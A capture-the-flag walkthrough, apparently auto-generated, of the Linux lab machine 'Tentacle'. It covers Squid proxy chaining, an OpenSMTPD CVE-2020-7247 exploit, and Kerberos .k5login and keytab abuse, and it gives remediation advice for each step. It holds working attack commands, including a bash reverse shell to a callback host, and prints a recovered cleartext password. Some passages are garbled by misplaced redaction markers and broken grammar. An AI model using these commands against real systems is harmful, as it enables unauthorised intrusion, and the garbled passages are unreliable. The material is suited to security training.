← all walkthroughs

Tentacle

Linux· Hard
owned
2026-07-11
time to own
18m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon against the target <retired-instance-ip> (Squid 4.11 proxy on 3128) leaked the internal domain realcorp.htb and cache-admin address j.nakazawa@realcorp.htb via Squid's default error page and X-Squid-Error headers. BIND 9.11.20 on port 53 confirmed DNS, and Squid was reachable unauthenticated from the local/proxy-adjacent source, allowing proxy-chaining (<retired-instance-ip>:3128 → localhost:3128 → <retired-instance-ip>:3128, the internal proxy.realcorp.htb) to pivot into the internal network. Chained requests for http://$TARGET/wpad.dat returned a PAC file exposing internal subnets <retired-instance-ip>/24 and <retired-instance-ip>/24. DNS enumeration (SOA/NS/A lookups, since zone transfer was refused) and a reverse-DNS/host sweep of <retired-instance-ip>/24 identified srvpod01 (<retired-instance-ip>) running OpenSMTPD, vulnerable to CVE-2020-7247 (unauthenticated MAIL FROM command injection RCE).

The exploit (adapted from Exploit-DB #48038 / Metasploit exploit/unix/smtp/opensmtpd_mail_from_rce) was fired through the proxy chain using a valid recipient (j.nakazawa@realcorp.htb), and confirmed blind via an ICMP callback before staging a shell — landing as root on srvpod01. From there, /home/j.nakazawa/.msmtprc leaked j.nakazawa's cleartext SMTP/domain password. SSH password auth to srv01.realcorp.htb was disabled, so the password was [REDACTED: recovered credential] used with MIT Kerberos (kinit j.nakazawa@REALCORP.HTB against KDC srv01.realcorp.htb, realm REALCORP.HTB, clock skew corrected with faketime) to obtain a TGT and ssh -K (GSSAPI) in as j.nakazawa — capturing user.txt.

Privilege escalation exploited a cron race: /etc/crontab ran admin's /usr/local/bin/log_backup.sh every minute via rsync from /var/log/squid/. Because j.nakazawa is a member of the squid group, a .k5login file (j.nakazawa@REALCORP.HTB) was written into /var/log/squid/, and after the cron fired, ssh -K authenticated directly as admin. As admin, /etc/krb5.keytab (group-admin-readable) contained a kadmin/admin@REALCORP.HTB principal; kadmin -kt /etc/krb5.keytab -p kadmin/admin -q "add_principal -pw <pw> root@REALCORP.HTB" created a root principal, and ksu with that password/ticket dropped a root shell, yielding root.txt.

Attack path — how the box was taken

1EnumerationNetwork port and service enumeration (T1046)
Port scan identified four exposed services and confirmed an Active Directory–style Kerberos realm
An nmap service scan of <retired-instance-ip> returned four open TCP ports: 22 (OpenSSH 8.0), 53 (ISC BIND 9.11.20 on RHEL 8), 88 (MIT Kerberos KDC, realm REALCORP.HTB), and 3128 (Squid HTTP proxy 4.11). The simultaneous presence of a public-facing proxy, a DNS server, and a Kerberos KDC told I that an Active Directory–style domain was in use and that the proxy was the natural first pivot point into the internal network.
nmap returned: 22/tcp OpenSSH 8.0, 53/tcp ISC BIND 9.11.20, 88/tcp MIT Kerberos (server time: 2026-07-11 22:00:47Z), 3128/tcp Squid 4.11
Exact commands 1
Service-version and default-script scan against the four key ports.
nmap -Pn -sV -sC -p22,53,88,3128 $TARGET
2EnumerationInformation disclosure via server error page (T1592.002)
Squid's default error page disclosed the internal domain name and a valid employee email address
A single HTTP request to the Squid proxy for a non-existent resource triggered Squid's built-in error page. The page rendered the cache-administrator email address (j.nakazawa@realcorp.htb) and the internal domain (realcorp.htb) in plain text — no authentication required. These two items, a verified username and the domain, were the seed for every subsequent attack step.
curl -s http://<retired-instance-ip>:3128/nonexistent returned Squid error HTML containing domain realcorp.htb and cache_mgr j.nakazawa@realcorp.htb
Exact commands 1
One unauthenticated request returns domain and admin email from the default error page.
curl -s http://$TARGET:3128/nonexistent 2>&1 | grep -iE 'realcorp|admin|@'
FixSuppress sensitive information from Squid error pagesMedium
WeaknessSquid's built-in error page template displayed the internal domain name (realcorp.htb) and the cache-administrator's full email address (j.nakazawa@realcorp.htb) to any unauthenticated requester. This single request provided I with a verified username and domain before any other action was taken.
FixReplace Squid's default error-page templates with custom pages that contain no internal hostnames, domain names, or administrator contact details. In squid.conf, set 'cache_mgr' to an external or role-account address and remove the %w (admin email) and %H (hostname) substitution tokens from all template files under /usr/share/squid/errors/. Validate the change by hitting the proxy with a bad URL and confirming no internal details appear in the response.
3EnumerationProxy chaining to bypass ACLs; WPAD network topology disclosure (T1090.003)
Chained through two Squid hops to reach internal hosts and fetched the WPAD PAC file exposing hidden subnets
Squid's access-control list granted unrestricted trust to requests sourced from localhost and from the internal proxy IP <retired-instance-ip> (proxy.realcorp.htb). By building a proxychains config that routed through <retired-instance-ip>:3128 → localhost:3128 → <retired-instance-ip>:3128, my requests appeared to originate from a trusted internal address. A chained request for http://$TARGET/wpad.dat returned a PAC proxy-auto-configuration file that explicitly named the internal subnets <retired-instance-ip>/24 and <retired-instance-ip>/24, providing a complete internal network map for free.
proxychains4 curl http://$TARGET/wpad.dat returned PAC listing isInNet for <retired-instance-ip>/24 and <retired-instance-ip>/24
Exact commands 2
Write the three-hop dynamic proxychains config; dynamic_chain tolerates a dead link in the chain.
cat > /tmp/pc-tentacle.conf <<'EOF'
dynamic_chain
proxy_dns
[ProxyList]
http $TARGET 3128
http localhost 3128
http $INTERNAL_TARGET 3128
EOF
Retrieve the PAC file through the chained proxies; output lists both internal subnets.
proxychains4 -f /tmp/pc-tentacle.conf curl -s http://$TARGET/wpad.dat
FixRestrict Squid ACLs so external clients cannot reach internal hosts via proxy chainingCritical
WeaknessSquid's ACL trusted all requests that arrived from localhost or from the internal proxy IP 10.197.243.77. An external operator could chain requests through the public-facing Squid instance to that internal proxy, making their traffic appear to originate from a trusted address, bypassing perimeter controls and reaching hosts that should be completely isolated from the internet.
FixRewrite the Squid ACL configuration to deny forwarding to RFC-1918 private address ranges from untrusted source IPs (http_access deny to_localnet !localnet). Require authentication for all externally-reachable proxy access. Block CONNECT and HTTP FORWARD requests to internal subnets (<retired-instance-ip>/8, <retired-instance-ip>/12, <retired-instance-ip>/16) from any source outside the trusted management VLAN. If the proxy is not required to be internet-facing, firewall port 3128 to internal access only.
4EnumerationDNS PTR reverse enumeration; internal host discovery (T1018)
Reverse-DNS sweep of the internal subnet located srvpod01 running a vulnerable OpenSMTPD mail server
Using the DNS server on port 53 of <retired-instance-ip>, a reverse-PTR sweep of the <retired-instance-ip>/24 subnet resolved <retired-instance-ip> to srvpod01.realcorp.htb. A proxychained netcat connection to port 25 confirmed the service was alive and returned an SMTP banner identifying OpenSMTPD — a mail transfer agent with a publicly known critical unauthenticated remote-code-execution vulnerability (CVE-2020-7247) in versions before 6.6.2.
dig -x <retired-instance-ip> @<retired-instance-ip> returned srvpod01.realcorp.htb; proxychained nc returned '220 smtp.realcorp.htb ESMTP OpenSMTPD'
Exact commands 2
PTR sweep of <retired-instance-ip>/24 via the exposed BIND server; identifies srvpod01 at .113.
for i in $(seq 1 254); do r=$(dig +short -x 10.241.251.$i @$TARGET 2>/dev/null); [ -n "$r" ] && echo "10.241.251.$i -> $r"; done
Banner-grab on SMTP through the proxy chain; confirms OpenSMTPD version.
proxychains4 -f /tmp/pc-tentacle.conf nc -nv $INTERNAL_TARGET 25
5ExploitationOpenSMTPD CVE-2020-7247 MAIL FROM command injection RCE (T1210)
Exploited CVE-2020-7247 in OpenSMTPD via the proxy chain — unauthenticated remote code execution as root on srvpod01
OpenSMTPD versions before 6.6.2 allow an unauthenticated operator to inject shell commands through a crafted MAIL FROM address processed by the local delivery agent. Delivering the exploit through the proxychains tunnel with j.nakazawa@realcorp.htb as a valid local recipient caused the mail server to execute user-supplied commands as root. A blind ICMP ping-back to a tcpdump listener on my tun0 interface confirmed code execution, after which a reverse shell was staged, landing an interactive root shell on srvpod01 (smtp.realcorp.htb).
ICMP echo replies received on tun0 confirmed blind RCE; subsequent shell returned uid=0(root) gid=0(root) on smtp.realcorp.htb
Exact commands 4
Locate EDB-ID 48038 (CVE-2020-7247). Copy with: searchsploit -m 48038
searchsploit opensmtpd
Start the reverse-shell listener in the background on my machine.
nc -lvnp 4444 &
Catch ICMP ping-back to confirm blind RCE before staging the shell.
tcpdump -ni tun0 icmp &
Fire the exploit through the proxy chain. Replace <retired-instance-ip> with your tun0 address. Use the ping payload first to verify blind RCE, then swap for the shell payload.
proxychains4 -f /tmp/pc-tentacle.conf python3 48038.py $INTERNAL_TARGET 25 j.nakazawa@realcorp.htb 'bash -c "bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"'
FixPatch OpenSMTPD immediately to close the unauthenticated RCE (CVE-2020-7247)Critical
WeaknessThe internal mail server ran OpenSMTPD prior to version 6.6.2, which allows any unauthenticated network client to execute arbitrary shell commands as root by sending a malformed MAIL FROM address. The service was reachable from the internet through the mis-configured Squid proxy chain, making this a remote root exploit with no authentication barrier.
FixUpgrade OpenSMTPD to 6.6.2 or later immediately (yum update opensmtpd on RHEL 8 or replace with a supported mail relay). Apply a host-based firewall rule restricting TCP 25 to known mail relay IPs only — no path from the Squid proxy network segment should reach port 25 on srvpod01. Separate internal mail relays from any host reachable from the internet. Subscribe to vendor security advisories to ensure future critical patches are applied within 72 hours of release.
6Credential Access / [REDACTED: recovered credential] MovementCleartext credential recovery from config file (T1552.001); Kerberos TGT / GSSAPI SSH [REDACTED: recovered credential] movement (T1558.003)
Recovered j.nakazawa's plaintext password from .msmtprc, obtained a Kerberos TGT, and SSH'd to the main server as j.nakazawa — capturing user.txt
With a root shell on srvpod01, I read /home/j.nakazawa/.msmtprc — a mail-client configuration file that [REDACTED: recovered credential] j.nakazawa's SMTP credentials in cleartext as 'password sJB}RM>6Z~64_'. Direct SSH with that password to srv01.realcorp.htb was rejected because password authentication was disabled. However, the same credential succeeded with MIT Kerberos: after writing a krb5.conf pointing at KDC srv01.realcorp.htb for realm REALCORP.HTB and correcting the clock skew (the KDC ran ~22 hours ahead), kinit obtained a TGT. The GSSAPI-authenticated ssh -K command then opened a shell on srv01 as j.nakazawa, where user.txt was readable.
cat /home/j.nakazawa/.msmtprc on srvpod01 returned password sJB}RM>6Z~64_; kinit succeeded; ssh -K delivered j.nakazawa shell on srv01.realcorp.htb; user.txt captured
Exact commands 5
Run on srvpod01 as root — reveals j.nakazawa's plaintext SMTP/Kerberos password.
cat /home/j.nakazawa/.msmtprc
Write a minimal krb5.conf pointing at the discovered KDC.
cat > /tmp/krb5-tentacle.conf <<'EOF'
[libdefaults]
  default_realm = REALCORP.HTB
  dns_lookup_realm = false
  dns_lookup_kdc = false
[realms]
  REALCORP.HTB = {
    kdc = srv01.realcorp.htb
    admin_server = srv01.realcorp.htb
  }
[domain_realm]
  .realcorp.htb = REALCORP.HTB
  realcorp.htb = REALCORP.HTB
EOF
Obtain TGT using the recovered password. The -79797s faketime offset corrects for clock skew between operator and KDC. Enter password:[REDACTED: credential]
KRB5_CONFIG=/tmp/krb5-tentacle.conf faketime -f '-79797s' kinit j.nakazawa@REALCORP.HTB
GSSAPI SSH login using the Kerberos ticket. Password auth is disabled; this is the only path.
KRB5_CONFIG=/tmp/krb5-tentacle.conf KRB5CCNAME=FILE:/tmp/jnak.ccache faketime -f '-79797s' ssh -K -o GSSAPIAuthentication=yes -o PreferredAuthentications=gssapi-with-mic j.nakazawa@srv01.realcorp.htb
Capture the user flag. Value: [REDACTED: flag]
cat ~/user.txt
FixRemove plaintext credentials from mail-client configuration filesHigh
WeaknessThe file /home/j.nakazawa/.msmtprc [REDACTED: recovered credential] the employee's domain password in cleartext under the 'password' key. an unauthorized user with read access to that file — achieved here by rooting the mail pod that hosted the home directory — immediately obtained the credential used to authenticate against the entire Kerberos realm.
FixAudit all home directories across all servers for files containing plaintext credentials (.msmtprc, .netrc, .pgpass, .boto, .s3cfg, etc.) and remove or encrypt them. For automated mail delivery from scripts, provision a dedicated service account with a randomly-generated password scoped to SMTP relay only — never reuse a human domain account. Where possible, use OAuth 2.0 tokens or application-specific passwords that can be revoked without changing the user's domain credential. Enforce a policy that service accounts cannot be used interactively and that human credentials cannot be [REDACTED: recovered credential] on servers.
7Privilege EscalationCron-based file write race; .k5login Kerberos authorisation hijack (T1053.003)
Planted a .k5login file via squid group write access to hijack the admin cron and escalate to the admin account
On srv01, /etc/crontab showed a job running every minute as admin that executed /usr/local/bin/log_backup.sh, which used rsync to copy the entire /var/log/squid/ directory — including all dot-files — into /home/admin/. Because j.nakazawa was a member of the squid group, and /var/log/squid/ was group-writable, I wrote a .k5login file there containing j.nakazawa@REALCORP.HTB. When the cron fired, rsync propagated that file to /home/admin/.k5login. The Kerberos daemon reads .k5login to decide which principals may authenticate as that user, so j.nakazawa's existing TGT was now authorised to open an SSH session as admin.
cat /etc/crontab and log_backup.sh confirmed rsync of /var/log/squid/* -> /home/admin/ every minute; id showed groups include squid; ssh -K admin@srv01 succeeded after cron tick
Exact commands 4
Confirm the cron job: rsync /var/log/squid/* to /home/admin/ every minute, running as admin.
cat /etc/crontab && cat /usr/local/bin/log_backup.sh
Verify j.nakazawa is in the squid group — required for the write to /var/log/squid/.
id
Plant the .k5login file in the squid-group-writable log directory. Cron will copy it to /home/admin/.k5login.
echo 'j.nakazawa@REALCORP.HTB' > /var/log/squid/.k5login
Wait up to 60 seconds for the cron tick, then SSH as admin using j.nakazawa's existing Kerberos ticket.
KRB5_CONFIG=/tmp/krb5-tentacle.conf KRB5CCNAME=FILE:/tmp/jnak.ccache faketime -f '-79797s' ssh -K -o GSSAPIAuthentication=yes -o PreferredAuthentications=gssapi-with-mic admin@srv01.realcorp.htb
FixPrevent cron jobs from copying user-controlled files into privileged home directoriesHigh
WeaknessA cron job running as admin used rsync to mirror the entire /var/log/squid/ directory — including all hidden dot-files — into /home/admin/. Because j.nakazawa was a member of the squid group and /var/log/squid/ was group-writable, any squid-group member could plant a .k5login file that would appear in admin's home after the next cron tick, giving them the ability to authenticate SSH sessions as admin using their own Kerberos ticket.
FixChange the rsync command to target specific log files by name or extension (e.g., --include='*.log' --exclude='*') and add --exclude='.*' to explicitly block all dot-files from being copied. Review every cron job in /etc/crontab and /etc/cron.d/ that copies from group- or world-writable source directories into a privileged user's home, and either eliminate the job or restrict the source directory to owner-only write (chmod 750 /var/log/squid, chown root:root). Remove j.nakazawa and all non-log-reading accounts from the squid group unless there is an operational requirement.
8Privilege EscalationKerberos keytab credential abuse; KDC admin principal exploitation to add privileged principals (T1558, T1078.002)
Used admin's group-readable Kerberos keytab to mint a root principal and gained a root shell via ksu
As admin, /etc/krb5.keytab was readable by the admin group. Running klist -kt revealed it contained a kadmin/admin@REALCORP.HTB principal — full Kerberos KDC administration credentials. Using kadmin with the keytab, I created a new root@REALCORP.HTB principal with a chosen password. After obtaining a TGT for that principal via kinit, the Kerberos-aware privilege-switch utility ksu elevated the session to root. root.txt was then read directly.
klist -kt /etc/krb5.keytab showed kadmin/admin@REALCORP.HTB; kadmin add_principal succeeded; ksu root yielded uid=0(root); root.txt captured
Exact commands 5
List principals in the system keytab — confirms kadmin/admin@REALCORP.HTB is present and readable.
klist -kt /etc/krb5.keytab
Create a root Kerberos principal using the keytab. Choose any password — P@ssw0rd123 used here.
kadmin -kt /etc/krb5.keytab -p kadmin/admin -q "add_principal -pw P@ssw0rd123 root@REALCORP.HTB"
Obtain a TGT for the newly created root principal. Enter P@ssw0rd123 when prompted.
KRB5_CONFIG=/tmp/krb5-tentacle.conf faketime -f '-79797s' kinit root@REALCORP.HTB
Kerberos-authenticated privilege switch; must print uid=0(root) to confirm escalation.
KRB5CCNAME=FILE:/tmp/root.ccache ksu root -e /usr/bin/id
Capture the root flag. Value: [REDACTED: flag]
KRB5CCNAME=FILE:/tmp/root.ccache ksu root -e /usr/bin/cat /root/root.txt
FixRestrict the Kerberos keytab to root-only access and remove the kadmin/admin principal from itCritical
WeaknessThe file /etc/krb5.keytab was readable by the admin group and contained a kadmin/admin@REALCORP.HTB principal — effectively a master key to the entire Kerberos KDC. Any user elevated to the admin group could use this credential to create arbitrary Kerberos principals, including one for root, and then use ksu to become root. There was no audit logging or rate-limiting on kadmin operations.
FixImmediately restrict /etc/krb5.keytab to root-only read access (chmod 600 /etc/krb5.keytab; chown root:root /etc/krb5.keytab). Remove the kadmin/admin principal from the system keytab entirely — a host keytab should contain only host-service principals (host/<fqdn>@REALM). Provision remote Kerberos administration access only from a hardened, dedicated admin workstation with a named human principal, and enforce IP-restricted kadmind ACLs in /var/kerberos/krb5kdc/kadm5.acl. Enable KDC audit logging and alert on any add_principal or change_password operations.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SSH Private Key / Credential TheftCredential Access · [REDACTED: recovered credential] MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Findings

Initial Access: Root: Kadmin Keytab > Add Root Principal > KsuCritical
An unauthenticated/low-privilege flaw in the kerberos, smtp, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Root: Kadmin Keytab > Add Root Principal > KsuCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
53/tcp
88/tcp
3128/tcp